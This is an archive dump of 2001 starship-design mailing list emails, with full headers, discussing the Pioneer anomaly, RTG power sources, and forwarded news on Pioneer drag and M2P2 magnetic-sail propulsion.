5.50.4133.2400 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Precedence: bulk Reply-To: rmarlin@network-one.com (Gene & James Marlin) From: rmarlin@network-one.com (Gene & James Marlin) Sender: owner-starship-design@lists.uoregon.edu To: Subject: Re: starship-design: Re: Mystery force tugs Date: Fri, 18 May 2001 19:06:25 -0500 > There are a variety of ways this could > happen, such as an asymmetrical temperature distribution in the RTGs > themselves or the RTGs being obscured behind some part of the > spacecraft. Spacecraft themselves are so asymmetrical it would be difficult to predict the effect of such a vector force not designed into the probe. I also wonder if magnetohydrodynamic drag can effect long-term missions. My problem with citing unknown physics as the cause is not in the strength of any particular explanation, it is the apparent lack of the effect occuring equally on all bodies, and I wish to remind the readers that the prototype examples are sister missions. -Gene",0,0 KellySt@aol.com,starship-design@lists.uoregon.edu,"Sat, 19 May 2001 18:52:36 -0400",Re: starship-design: Re: Mystery force tugs,"In a message dated 5/18/01 6:45:59 PM, stevev@efn.org writes: >KellySt@aol.com writes: > > In a message dated 5/16/01 11:00:54 PM, rmarlin@network-one.com writes: > > > > >This ""news"" is getting to be two or three years old now, and yet it >still > > > > > >circulates. The solution was found a long time ago- IR photon pressure > > >from > > > > > >the RTG power supplies aboard all four probes causes the (extremely >minute) > > > > > >deltaV. After many years of flight, that minute deltaV becomes readily > > > > > >detectable. > > > > > > How can thermal emmiters hung off to the side, push the ships backward? > >If the thermal radiation from the RTGs is not emitted equally in all >directions, then it would produce a net thrust opposite the direction it >is emitted most strongly. There are a variety of ways this could >happen, such as an asymmetrical temperature distribution in the RTGs >themselves or the RTGs being obscured behind some part of the >spacecraft. but the design of the craft has the rtgs out on poles off to one side, with the antenna pointed toward earth. So any thrust would be perpendicular (give or take) to the vector to earth. >From VM Mon May 21 10:05:26 2001 X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] [""756"" ""Saturday"" ""19"" ""May"" ""2001"" ""18:29:45"" ""-0700"" ""Steve VanDevender"" ""stevev@efn.org"" nil ""15"" ""Re: starship-design: Re: Mystery force tugs"" ""^From:"" nil nil ""5"" nil nil nil nil nil] nil) Content-Length: 756 Return-Path: Received: (from majordom@localhost) by darkwing.uoregon.edu (8.10.1/8.10.1) id f4K1UmZ07422 for starship-design-outgoing; Sat, 19 May 2001 18:30:48 -0700 (PDT) Received: from clavin.efn.org (root@clavin.efn.org [206.163.176.10]) by darkwing.uoregon.edu (8.10.1/8.10.1) with ESMTP id f4K1Ulw07353 for ; Sat, 19 May 2001 18:30:47 -0700 (PDT) Received: from tzadkiel.efn.org (tzadkiel.efn.org [206.163.182.194]) by clavin.efn.org (8.10.1/8.10.1) with ESMTP id f4K1Ujf09103 for ; Sat, 19 May 2001 18:30:46 -0700 (PDT) Received: (from stevev@localhost) by tzadkiel.efn.org (8.10.1/8.10.1) id f4K1TvB13069; Sat, 19 May 2001 18:29:57 -0700 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15111.7689.841828.927939@tzadkiel.efn.org> In-Reply-To: <7b.14ffeb46.28385334@aol.com> References: <7b.14ffeb46.28385334@aol.com> X-Mailer: VM 6.92 under 21.1 (patch 14) ""Cuyahoga Valley"" XEmacs Lucid Precedence: bulk Reply-To: Steve VanDevender From: Steve VanDevender Sender: owner-starship-design@lists.uoregon.edu To: starship-design@lists.uoregon.edu Subject: Re: starship-design: Re: Mystery force tugs Date: Sat, 19 May 2001 18:29:45 -0700 KellySt@aol.com writes: > but the design of the craft has the rtgs out on poles off to one side, with > the antenna pointed toward earth. So any thrust would be perpendicular (give > or take) to the vector to earth. Not if the thermal distribution of the RTGs themselves is asymmetrical. And it's still just a guess that the RTGs are the source of the discrepancy, although it's fairly clear that whatever causes this discrepancy is instrinsic to the spacecraft, since other solar system objects don't show similar discrepancies. In any case, I'm wondering just what this ever had to do with starship-design's real purpose. Despite clearly stating for years that this list is NOT for discussing speculative physics, some people just don't get it. >From VM Mon May 21 10:05:26 2001 X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] [""1108"" ""Saturday"" ""19"" ""May"" ""2001"" ""19:30:52"" ""-0600"" ""Ben Franchuk"" ""bfranchuk@jetnet.ab.ca"" nil ""25"" ""Re: starship-design: Re: Mystery force tugs"" ""^From:"" nil nil ""5"" nil nil nil nil nil] nil) Content-Length: 1108 Return-Path: Received: (from majordom@localhost) by darkwing.uoregon.edu (8.10.1/8.10.1) id f4K24LW14470 for starship-design-outgoing; Sat, 19 May 2001 19:04:21 -0700 (PDT) Received: from main.jetnet.ab.ca (root@jetnet.ab.ca [207.153.11.66]) by darkwing.uoregon.edu (8.10.1/8.10.1) with ESMTP id f4K24Kw14461 for ; Sat, 19 May 2001 19:04:20 -0700 (PDT) Received: from jetnet.ab.ca (dialin47.jetnet.ab.ca [207.153.6.47]) by main.jetnet.ab.ca (8.9.1/8.9.1) with ESMTP id UAA10987 for ; Sat, 19 May 2001 20:04:17 -0600 (MDT) Message-ID: <3B071E4C.44466188@jetnet.ab.ca> X-Mailer: Mozilla 4.76 [en] (X11; U; Linux 2.2.18 i586) X-Accept-Language: en MIME-Version: 1.0 References: <7b.14ffeb46.28385334@aol.com> <15111.7689.841828.927939@tzadkiel.efn.org> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Precedence: bulk Reply-To: Ben Franchuk From: Ben Franchuk Sender: owner-starship-design@lists.uoregon.edu CC: starship-design@lists.uoregon.edu Subject: Re: starship-design: Re: Mystery force tugs Date: Sat, 19 May 2001 19:30:52 -0600 Steve VanDevender wrote: > In any case, I'm wondering just what this ever had to do with > starship-design's real purpose. Despite clearly stating for years that > this list is NOT for discussing speculative physics, some people just > don't get it. However Star-ship design does require 'New' ideas as the old ideas like chemical rockets just don't work on a Galaxy Class Starship. You are bound to have lots of speculative physics and technology until somebody builds something. Myself I have a few Ideas for space travel in general but I have not found a usable cad system on my budget.( peanuts) Deep Cold ( Space craft that May have Been ) is good example of space craft modeling that could be adapted to star-ship design. http://www.deepcold.com/deepcold/intro_main.html Then it could be all the people are going after the X-Prize. Ben. PS. Has the star-ship design page been updated recently? I seem to have lost that URL. -- ""We do not inherit our time on this planet from our parents... We borrow it from our children."" ""Luna family of Octal Computers"" http://www.jetnet.ab.ca/users/bfranchuk >From VM Mon May 21 10:05:26 2001 X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] [""286"" ""Saturday"" ""19"" ""May"" ""2001"" ""19:50:42"" ""-0700"" ""Curtis Manges"" ""clmanges@yahoo.com"" nil ""15"" ""starship-design: rtg"" ""^From:"" nil nil ""5"" nil nil nil nil nil] nil) Content-Length: 286 Return-Path: Received: (from majordom@localhost) by darkwing.uoregon.edu (8.10.1/8.10.1) id f4K2oho24748 for starship-design-outgoing; Sat, 19 May 2001 19:50:43 -0700 (PDT) Received: from web13609.mail.yahoo.com (web13609.mail.yahoo.com [216.136.174.9]) by darkwing.uoregon.edu (8.10.1/8.10.1) with SMTP id f4K2ogw24737 for ; Sat, 19 May 2001 19:50:42 -0700 (PDT) Message-ID: <20010520025042.85784.qmail@web13609.mail.yahoo.com> Received: from [206.148.95.35] by web13609.mail.yahoo.com; Sat, 19 May 2001 19:50:42 PDT MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Precedence: bulk Reply-To: Curtis Manges From: Curtis Manges Sender: owner-starship-design@lists.uoregon.edu To: starship-design Subject: starship-design: rtg Date: Sat, 19 May 2001 19:50:42 -0700 (PDT) Hello, all, Pardon my ignorance, but what's an RTG? Keep looking up, Curtis ===== visit my website at: www.geocities.com/clmanges __________________________________________________ Do You Yahoo!? Yahoo! Auctions - buy the things you want at great prices http://auctions.yahoo.com/ >From VM Mon May 21 10:05:26 2001 X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] [""1215"" ""Sunday"" ""20"" ""May"" ""2001"" ""00:36:24"" ""-0700"" ""Steve VanDevender"" ""stevev@efn.org"" nil ""22"" ""Re: starship-design: Re: Mystery force tugs"" ""^From:"" nil nil ""5"" nil nil nil nil nil] nil) Content-Length: 1215 Return-Path: Received: (from majordom@localhost) by darkwing.uoregon.edu (8.10.1/8.10.1) id f4K7bJ921523 for starship-design-outgoing; Sun, 20 May 2001 00:37:19 -0700 (PDT) Received: from clavin.efn.org (root@clavin.efn.org [206.163.176.10]) by darkwing.uoregon.edu (8.10.1/8.10.1) with ESMTP id f4K7bIw21518 for ; Sun, 20 May 2001 00:37:18 -0700 (PDT) Received: from tzadkiel.efn.org (tzadkiel.efn.org [206.163.182.194]) by clavin.efn.org (8.10.1/8.10.1) with ESMTP id f4K7bHf09792 for ; Sun, 20 May 2001 00:37:17 -0700 (PDT) Received: (from stevev@localhost) by tzadkiel.efn.org (8.10.1/8.10.1) id f4K7aWE13768; Sun, 20 May 2001 00:36:32 -0700 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15111.29688.73828.516933@tzadkiel.efn.org> In-Reply-To: <3B071E4C.44466188@jetnet.ab.ca> References: <7b.14ffeb46.28385334@aol.com> <15111.7689.841828.927939@tzadkiel.efn.org> <3B071E4C.44466188@jetnet.ab.ca> X-Mailer: VM 6.92 under 21.1 (patch 14) ""Cuyahoga Valley"" XEmacs Lucid Precedence: bulk Reply-To: Steve VanDevender From: Steve VanDevender Sender: owner-starship-design@lists.uoregon.edu To: starship-design@lists.uoregon.edu Subject: Re: starship-design: Re: Mystery force tugs Date: Sun, 20 May 2001 00:36:24 -0700 Ben Franchuk writes: > Steve VanDevender wrote: > > In any case, I'm wondering just what this ever had to do with > > starship-design's real purpose. Despite clearly stating for years that > > this list is NOT for discussing speculative physics, some people just > > don't get it. > > However Star-ship design does require 'New' ideas as > the old ideas like chemical rockets just don't work on a Galaxy Class > Starship. You are bound to have lots of speculative physics and technology > until somebody builds something. There's a difference between speculative physics and speculative technology. We know that matter can reach relativistic speeds, although we don't have the technology to make large objects do so. We know that antimatter exists, even though we don't have the technology to manufacture and store large quantities of it. It's possible to characterize a technology to achieve something physically possible based on those physical limits, even if we don't currently know how to build that technology. Conversely, there is nothing in our current understanding of physics that suggests FTL transport of matter is possible, and certainly no experimental demonstration of such a thing. >From VM Mon May 21 10:05:26 2001 X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] [""882"" ""Sunday"" ""20"" ""May"" ""2001"" ""00:49:14"" ""-0700"" ""Steve VanDevender"" ""stevev@efn.org"" nil ""15"" ""starship-design: rtg"" ""^From:"" nil nil ""5"" nil nil nil nil nil] nil) Content-Length: 882 Return-Path: Received: (from majordom@localhost) by darkwing.uoregon.edu (8.10.1/8.10.1) id f4K7o2F23655 for starship-design-outgoing; Sun, 20 May 2001 00:50:02 -0700 (PDT) Received: from clavin.efn.org (root@clavin.efn.org [206.163.176.10]) by darkwing.uoregon.edu (8.10.1/8.10.1) with ESMTP id f4K7o0w23636 for ; Sun, 20 May 2001 00:50:00 -0700 (PDT) Received: from tzadkiel.efn.org (tzadkiel.efn.org [206.163.182.194]) by clavin.efn.org (8.10.1/8.10.1) with ESMTP id f4K7nxf10653 for ; Sun, 20 May 2001 00:49:59 -0700 (PDT) Received: (from stevev@localhost) by tzadkiel.efn.org (8.10.1/8.10.1) id f4K7nFB13809; Sun, 20 May 2001 00:49:15 -0700 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15111.30458.149383.228001@tzadkiel.efn.org> In-Reply-To: <20010520025042.85784.qmail@web13609.mail.yahoo.com> References: <20010520025042.85784.qmail@web13609.mail.yahoo.com> X-Mailer: VM 6.92 under 21.1 (patch 14) ""Cuyahoga Valley"" XEmacs Lucid Precedence: bulk Reply-To: Steve VanDevender From: Steve VanDevender Sender: owner-starship-design@lists.uoregon.edu To: starship-design@lists.uoregon.edu Subject: starship-design: rtg Date: Sun, 20 May 2001 00:49:14 -0700 Curtis Manges writes: > Pardon my ignorance, but what's an RTG? A Radioisotope Thermal Generator. It's basically a quantity of radioactive material that generates heat, which is converted to electrical energy by a thermocouple. They're long-lasting and have no moving parts, making them very useful as power sources for long-duration outer-solar-system space probes. They've also been somewhat controversial, as generally the radioactive material used in RTGs is plutonium (a fairly active radioisotope is needed so that it will produce enough heat). Despite substantial care being taken in building RTG casings so that they will survive any likely launch accident, and the plutonium contained in a durable ceramic material, there have been protests surrounding the launches of the Galileo and Cassini spacecraft due to them carrying RTGs with tens of kilograms of plutonium. >From VM Mon May 21 10:05:26 2001 X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] [""263"" ""Sunday"" ""20"" ""May"" ""2001"" ""15:56:43"" ""EDT"" ""KellySt@aol.com"" ""KellySt@aol.com"" nil ""11"" ""Re: starship-design: rtg"" ""^From:"" nil nil ""5"" nil nil nil nil nil] nil) Content-Length: 263 Return-Path: Received: (from majordom@localhost) by darkwing.uoregon.edu (8.10.1/8.10.1) id f4KJuvv04500 for starship-design-outgoing; Sun, 20 May 2001 12:56:57 -0700 (PDT) Received: from imo-m06.mx.aol.com (imo-m06.mx.aol.com [64.12.136.161]) by darkwing.uoregon.edu (8.10.1/8.10.1) with ESMTP id f4KJutw04489 for ; Sun, 20 May 2001 12:56:56 -0700 (PDT) Received: from KellySt@aol.com by imo-m06.mx.aol.com (mail_out_v30.10.) id r.36.16336a86 (4395); Sun, 20 May 2001 15:56:43 -0400 (EDT) Message-ID: <36.16336a86.28397b7b@aol.com> MIME-Version: 1.0 Content-Type: text/plain; charset=""US-ASCII"" Content-Transfer-Encoding: 7bit X-Mailer: AOL 5.0 for Mac sub 28 Precedence: bulk Reply-To: KellySt@aol.com From: KellySt@aol.com Sender: owner-starship-design@lists.uoregon.edu To: clmanges@yahoo.com, starship-design@lists.uoregon.edu Subject: Re: starship-design: rtg Date: Sun, 20 May 2001 15:56:43 EDT In a message dated 5/19/01 9:51:25 PM, clmanges@yahoo.com writes: >Hello, all, > >Pardon my ignorance, but what's an RTG? Radioisotop thermal generator. Basically a thermo-electric generator system powered by a core of a radioactive material producing heat. >From VM Tue May 22 11:28:02 2001 X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] [""7497"" ""Monday"" ""21"" ""May"" ""2001"" ""16:40:48"" ""-0500"" ""L. Parker"" ""lparker@cacaphony.net"" nil ""175"" ""starship-design: Puzzling hyper-gravity proves weighty mystery"" ""^From:"" nil nil ""5"" nil nil nil nil nil] nil) Content-Length: 7497 Return-Path: Received: (from majordom@localhost) by darkwing.uoregon.edu (8.10.1/8.10.1) id f4MIKJR06157 for starship-design-outgoing; Tue, 22 May 2001 11:20:19 -0700 (PDT) Received: from traffic.gnt.net (root@gnt.com [204.49.53.5]) by darkwing.uoregon.edu (8.10.1/8.10.1) with ESMTP id f4MIKIw06130 for ; Tue, 22 May 2001 11:20:18 -0700 (PDT) Received: from broadsword (p463.gnt.com [204.49.91.79]) by traffic.gnt.net (8.9.1a/8.9.0) with SMTP id QAA20936 for ; Mon, 21 May 2001 16:42:30 -0500 Message-ID: <000901c0e23e$b51cb0e0$0100a8c0@broadsword> MIME-Version: 1.0 Content-Type: multipart/alternative; boundary=""----=_NextPart_000_000A_01C0E214.CC46A8E0"" X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook CWS, Build 9.0.2416 (9.0.2910.0) X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2919.6700 Importance: Normal Precedence: bulk Reply-To: ""L. Parker"" From: ""L. Parker"" Sender: owner-starship-design@lists.uoregon.edu To: ""Starship-Design \\(E-mail\\)"" Subject: starship-design: Puzzling hyper-gravity proves weighty mystery Date: Mon, 21 May 2001 16:40:48 -0500 This is a multi-part message in MIME format. ------=_NextPart_000_000A_01C0E214.CC46A8E0 Content-Type: text/plain; charset=""iso-8859-1"" Content-Transfer-Encoding: 7bit Let's heat this discussion back up . Puzzling hyper-gravity proves weighty mystery May 21, 2001 Posted: 2:32 p.m. EDT (1832 GMT) By Richard Stenger, CNN (CNN) -- An unknown force seeming to pull on a pair of distant space probes has left astronomers with a weighty mystery, one that appears to defy the conventional laws of physics. The Pioneer 10 and Pioneer 11 spacecraft, which for decades have steadily traveled in opposite directions in the solar system, have covered significantly less space then they should have, astronomers said. A team of NASA researchers has systematically attempted to determine what has slowed the sibling NASA robot ships, to no avail. ""Something is slowing down the spacecraft. And we have not been successful in finding the source of that. There is more slowing than you would expect from Newtonian gravity,"" said John Anderson, a senior scientist at NASA's Jet Propulsion Laboratory in Pasadena, California. Mystery force a real drag The probes have traveled far beyond Jupiter since their launch in the early 1970s. But astronomers have been able to measure with great precision the trajectories and distances of the pair. Noticing that Pioneer 10 was unexpectedly lagging on its journey away from the sun, they speculated that an unknown object could been exerting an influence. But they had to revise that theory when they realized that a mysterious force was acting in an identical manner on Pioneer 11, which on the other side of the system. ""It's the same magnitude and the same direction, namely pointed toward the sun. The force points to the sun in both cases,"" said Anderson. Astronomers studied the Doppler shift of the radio signals to help calculate the distances of the probes. After extensive analysis, they dismissed instrumentation error, propellant leaks and minor heat emissions as causes of the negative thrust. Perhaps the spacecraft inadvertently produced an unknown force that is not yet understood, Anderson said. Perhaps scientists will have to reconsider basic assumptions about the laws of physics. ""No one has come up with a conventional explanation,"" he said. One possible reason ""is that it is a modification of gravity."" Pioneer sends shocking signal Launched in the early 1970s, the Pioneers were the first probes to explore the outer solar system, astounding the world when they sent home flyby images of giant planets like Jupiter, Saturn and their moons. The resilient Pioneer 10, now far beyond the orbit of Neptune, surprised astronomers in April when it managed to send a transmission back to Earth as directed. Radio communications with Pioneer 11 ceased in 1995. The scientists were unable to calculate the effects of distant gravity on other deep space probes, like Voyager I or Voyager 2, because they employ a different kind of orientation and propulsion system, Anderson said. Anderson and his colleagues have submitted their work to the journal Physical Review D. Their findings are currently available on the Internet scientific archive site of the Los Alamos National Laboratory. ------=_NextPart_000_000A_01C0E214.CC46A8E0 Content-Type: text/html; charset=""iso-8859-1"" Content-Transfer-Encoding: quoted-printable  Let's heat this = discussion back up=20 . Puzzling=20 hyper-gravity proves weighty mysteryMay=20 21, 2001 Posted: 2:32 p.m. EDT (1832 GMT)By Richard Stenger,=20 CNN(CNN) -- An unknown force seeming to pull on a pair of = distant space=20 probes has left astronomers with a weighty mystery, one that appears to = defy the=20 conventional laws of physics.The Pioneer 10 and Pioneer 11 = spacecraft,=20 which for decades have steadily traveled in opposite directions in the = solar=20 system, have covered significantly less space then they should have, = astronomers=20 said.A team of NASA researchers has systematically attempted to=20 determine what has slowed the sibling NASA robot ships, to no=20 avail.""Something is slowing down the spacecraft. And we have not = been=20 successful in finding the source of that. There is more slowing than you = would=20 expect from Newtonian gravity,"" said John Anderson, a senior scientist = at NASA's=20 Jet Propulsion Laboratory in Pasadena, California.Mystery force a real = dragThe=20 probes have traveled far beyond Jupiter since their launch in the early = 1970s.=20 But astronomers have been able to measure with great precision the = trajectories=20 and distances of the pair.Noticing that Pioneer 10 was = unexpectedly=20 lagging on its journey away from the sun, they speculated that an = unknown object=20 could been exerting an influence.But they had to revise that = theory when=20 they realized that a mysterious force was acting in an identical manner = on=20 Pioneer 11, which on the other side of the system.""It's the same = magnitude and the same direction, namely pointed toward the sun. The = force=20 points to the sun in both cases,"" said Anderson.Astronomers = studied the=20 Doppler shift of the radio signals to help calculate the distances of = the=20 probes. After extensive analysis, they dismissed instrumentation error,=20 propellant leaks and minor heat emissions as causes of the negative=20 thrust.Perhaps the spacecraft inadvertently produced an unknown = force=20 that is not yet understood, Anderson said. Perhaps scientists will have = to=20 reconsider basic assumptions about the laws of physics.""No one = has come=20 up with a conventional explanation,"" he said. One possible reason ""is = that it is=20 a modification of gravity.""Pioneer sends shocking=20 signalLaunched in the early 1970s, the Pioneers were the = first=20 probes to explore the outer solar system, astounding the world when they = sent=20 home flyby images of giant planets like Jupiter, Saturn and their=20 moons.The resilient Pioneer 10, now far beyond the orbit of = Neptune,=20 surprised astronomers in April when it managed to send a transmission = back to=20 Earth as directed. Radio communications with Pioneer 11 ceased in=20 1995.The scientists were unable to calculate the effects of = distant=20 gravity on other deep space probes, like Voyager I or Voyager 2, because = they=20 employ a different kind of orientation and propulsion system, Anderson=20 said.Anderson and his colleagues have submitted their work to = the=20 journal Physical Review D. Their findings are currently available on the = Internet scientific archive site of the Los Alamos National=20 Laboratory.   ------=_NextPart_000_000A_01C0E214.CC46A8E0-- >From VM Thu Jun 21 15:04:26 2001 X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] [""15499"" ""Thursday"" ""21"" ""June"" ""2001"" ""16:05:09"" ""-0500"" ""L. Parker"" ""lparker@cacaphony.net"" nil ""350"" ""starship-design: Solar Windsurfing: The Fastest-Ever Propulsion (So Far)"" ""^From:"" nil nil ""6"" nil nil nil nil nil] nil) Content-Length: 15499 Return-Path: Received: (from majordom@localhost) by darkwing.uoregon.edu (8.10.1/8.10.1) id f5LLGEs15300 for starship-design-outgoing; Thu, 21 Jun 2001 14:16:14 -0700 (PDT) Received: from traffic.gnt.net (root@gnt.com [204.49.53.5]) by darkwing.uoregon.edu (8.10.1/8.10.1) with ESMTP id f5LLGCx15189 for ; Thu, 21 Jun 2001 14:16:13 -0700 (PDT) Received: from broadsword (p467.gnt.com [204.49.91.83]) by traffic.gnt.net (8.9.1a/8.9.0) with SMTP id QAA20664 for ; Thu, 21 Jun 2001 16:15:36 -0500 Message-ID: <000f01c0fa97$087a6aa0$0100a8c0@broadsword> MIME-Version: 1.0 Content-Type: multipart/related; boundary=""----=_NextPart_000_0010_01C0FA6D.1FA462A0"" X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook CWS, Build 9.0.2416 (9.0.2910.0) X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2919.6700 Importance: Normal Precedence: bulk Reply-To: ""L. Parker"" From: ""L. Parker"" Sender: owner-starship-design@lists.uoregon.edu To: ""Starship-Design \\(E-mail\\)"" Subject: starship-design: Solar Windsurfing: The Fastest-Ever Propulsion (So Far) Date: Thu, 21 Jun 2001 16:05:09 -0500 This is a multi-part message in MIME format. ------=_NextPart_000_0010_01C0FA6D.1FA462A0 Content-Type: multipart/alternative; boundary=""----=_NextPart_001_0011_01C0FA6D.1FA462A0"" ------=_NextPart_001_0011_01C0FA6D.1FA462A0 Content-Type: text/plain; charset=""iso-8859-1"" Content-Transfer-Encoding: 7bit Solar Windsurfing: The Fastest-Ever Propulsion By Robin Lloyd Science Editor posted: 10:50 am ET 21 June 2001 A technology that uses a magnetic balloon to sail ionized particles shed by the Sun could speed humans to the Jovian moons in less than two years and push a probe past Voyager 1 to become the first spacecraft beyond our Solar System. The low-cost Mini-Magnetosphere Plasma Propulsion, or M2P2, propels spacecraft at speeds far greater than today's chemical and even ion propulsion systems, and its magnetic-field sail would even protect travelers from deadly solar and Jovian radiation. ""The technology seeks to do what space does -- deploy a magnetized sail to travel with the winds,"" says University of Washington scientist Robert Winglee, who came up with the idea after 10 years as a geophysicist studying Earth inside and out to its radiation environment. The Sun is constantly shedding high-speed particles, called the solar wind, that race out from it at speeds averaging 800,000 mph (400 km/sec). If M2P2 were used for a mission to the Jovian moon Europa, it would take only 1.5 years to arrive. Using conventional chemical propulsion, such a trip could take 5 years. Other technologies also are designed to sail the solar wind, but they rely on a lightweight material that could be penetrated by meteors. Winglee's magnetic fields would operate unperturbed by meteors. How it works The M2P2 sail starts with an eight-inch magnet that creates a tiny magnetic field. That field is expanded like a balloon by filling it with an inert gas split into electrons and ionized particles. That superheated gas, called plasma, then is amped up by a solenoid that acts as a switch to create a larger magnetic field. The magnetic ""balloon"" eventually can inflate around a spacecraft to create magnetic field lines reaching as far as 25 miles (40 kilometers) across. The solar wind then ""blows"" against the large bubble to propel the spacecraft, with the sail acting like an umbrella braced against a bad storm. Only in this case, the umbrella loses and the spacecraft can put away up to 4.3 million miles a day. The system can make a craft travel at speeds 10 times as fast as the space shuttle, up to 180,000 mph (50 km/sec). At that rate, an M2P2 spacecraft could catch up with Voyager 1, currently the furthest man-made object in space at 7.5 billion miles (12 billion kilometers) from Earth, before it reaches the edge of the Solar System. Honors and the new millennium Winglee was honored this month by Discover Magazine for his aerospace innovation, along with seven other inventors. SPACE.com Founder Lou Dobbs introduced Winglee at the ceremony, saying, ""This technology may enable us to establish a permanent presence in space, something existing technologies will not allow us to do."" There are hopes that M2P2 soon will be used on a couple smaller experiments or even missions in NASA's New Millennium Program, which focuses on speeding up space exploration by validating new technologies in flight. The tech readiness scale Hoppy Price, manager of solar sail tech development at NASA's Jet Propulsion Laboratory, sits on a committee that evaluates technology proposals for New Millennium missions. ""It's a neat concept,"" he said of M2P2. ""It has a lot of potential but it's also very early in the research phase."" ""Most of the solar sail technologies we are looking at now are at tech readiness level four, which means we have some laboratory demonstrations of the technology,"" he said. M2P2 is at a lower level of readiness for the moment, he said, although fast development of prototypes and testing could make it available for use in some of the approaching New Millennium missions, such as Space Technology 7. ------=_NextPart_001_0011_01C0FA6D.1FA462A0 Content-Type: text/html; charset=""iso-8859-1"" Content-Transfer-Encoding: quoted-printable Solar = Windsurfing: The=20 Fastest-Ever PropulsionBy Robin LloydScience=20 Editorposted:=20 10:50 am ET21 June 2001   A technology that uses a magnetic balloon to sail ionized particles shed by the=20 Sun could speed = humans to the=20 Jovian moons in less than two years and push a probe past Voyager = 1 to=20 become the first spacecraft beyond our Solar System. The low-cost Mini-Magnetosphere Plasma Propulsion, or M2P2, = propels=20 spacecraft at speeds far greater than today's chemical and even = ion=20 propulsion systems, and its magnetic-field sail would even protect = travelers from deadly solar and Jovian radiation. ""The technology seeks to do what space does -- deploy a = magnetized sail=20 to travel with the winds,"" says University of Washington scientist = Robert=20 Winglee, who came up with the idea after 10 years as a = geophysicist=20 studying Earth inside and out to its radiation environment. The = Sun is=20 constantly shedding high-speed particles, called the solar wind, = that race=20 out from it at speeds averaging 800,000 mph (400 km/sec). If M2P2 were used for a mission to the Jovian moon Europa, it would take only 1.5 years to arrive. Using = conventional=20 chemical propulsion, such a trip could take 5 years. Other technologies also are designed to sail the = solar wind, but=20 they rely on a lightweight material that could be penetrated by = meteors.=20 Winglee's magnetic fields would operate unperturbed by meteors. = How it works The M2P2 sail starts with an eight-inch magnet that creates a = tiny=20 magnetic field. That field is expanded like a balloon by filling = it with=20 an inert gas split into electrons and ionized particles. That = superheated=20 gas, called plasma, then is amped up by a solenoid that acts as a = switch=20 to create a larger magnetic field. The magnetic ""balloon"" eventually can inflate around a = spacecraft to=20 create magnetic field lines reaching as far as 25 miles (40 = kilometers)=20 across. The solar wind then ""blows"" against the large bubble to = propel the=20 spacecraft, with the sail acting like an umbrella braced against a = bad=20 storm. Only in this case, the umbrella loses and the spacecraft = can put=20 away up to 4.3 million miles a day. The system can make a craft travel at speeds 10 times as fast = as the=20 space shuttle, up to 180,000 mph (50 km/sec). At that rate, an = M2P2=20 spacecraft could catch up with Voyager 1, currently the furthest = man-made=20 object in space at 7.5 billion miles (12 billion kilometers) from = Earth,=20 before it reaches the edge of the Solar System. Honors and the new millennium Winglee was honored this month by Discover Magazine for his = aerospace=20 innovation, along with seven other inventors. SPACE.com Founder Lou Dobbs introduced Winglee at the ceremony, = saying,=20 ""This technology may enable us to establish a permanent presence = in space,=20 something existing technologies will not allow us to do."" There are hopes that M2P2 soon will be used on a couple smaller = experiments or even missions in NASA's New Millennium Program, which focuses on speeding up space exploration by = validating new=20 technologies in flight. The tech readiness scale Hoppy Price, manager of solar sail tech development at NASA's = Jet=20 Propulsion Laboratory, sits on a committee that evaluates = technology=20 proposals for New Millennium missions. ""It's a neat concept,"" he said of M2P2. ""It has a lot of = potential but=20 it's also very early in the research phase."" ""Most of the solar sail technologies we are looking at now are = at tech=20 readiness level four, which means we have some laboratory = demonstrations=20 of the technology,"" he said. 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Parker"" wrote: { Empty white space } Details would be nice here! >From VM Thu Jun 21 16:34:21 2001 X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] [""350"" ""Thursday"" ""21"" ""June"" ""2001"" ""15:56:09"" ""-0700"" ""Steve VanDevender"" ""stevev@efn.org"" nil ""9"" ""Re: starship-design: Solar Windsurfing: The Fastest-Ever Propulsion (So Far)"" ""^From:"" nil nil ""6"" nil nil nil nil nil] nil) Content-Length: 350 Return-Path: Received: (from majordom@localhost) by darkwing.uoregon.edu (8.10.1/8.10.1) id f5LMudM29978 for starship-design-outgoing; Thu, 21 Jun 2001 15:56:39 -0700 (PDT) Received: from clavin.efn.org (root@clavin.efn.org [206.163.176.10]) by darkwing.uoregon.edu (8.10.1/8.10.1) with ESMTP id f5LMucx29968 for ; Thu, 21 Jun 2001 15:56:38 -0700 (PDT) Received: from tzadkiel.efn.org (tzadkiel.efn.org [206.163.182.194]) by clavin.efn.org (8.10.1/8.10.1) with ESMTP id f5LMuaq18874 for ; Thu, 21 Jun 2001 15:56:36 -0700 (PDT) Received: (from stevev@localhost) by tzadkiel.efn.org (8.10.1/8.10.1) id f5LMuCQ04732; Thu, 21 Jun 2001 15:56:12 -0700 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15154.31625.138179.31740@tzadkiel.efn.org> In-Reply-To: <3B30BCCE.9425756C@jetnet.ab.ca> References: <000f01c0fa97$087a6aa0$0100a8c0@broadsword> <3B30BCCE.9425756C@jetnet.ab.ca> X-Mailer: VM 6.92 under 21.1 (patch 14) ""Cuyahoga Valley"" XEmacs Lucid Precedence: bulk Reply-To: Steve VanDevender From: Steve VanDevender Sender: owner-starship-design@lists.uoregon.edu To: ""Starship-Design (E-mail)"" Subject: Re: starship-design: Solar Windsurfing: The Fastest-Ever Propulsion (So Far) Date: Thu, 21 Jun 2001 15:56:09 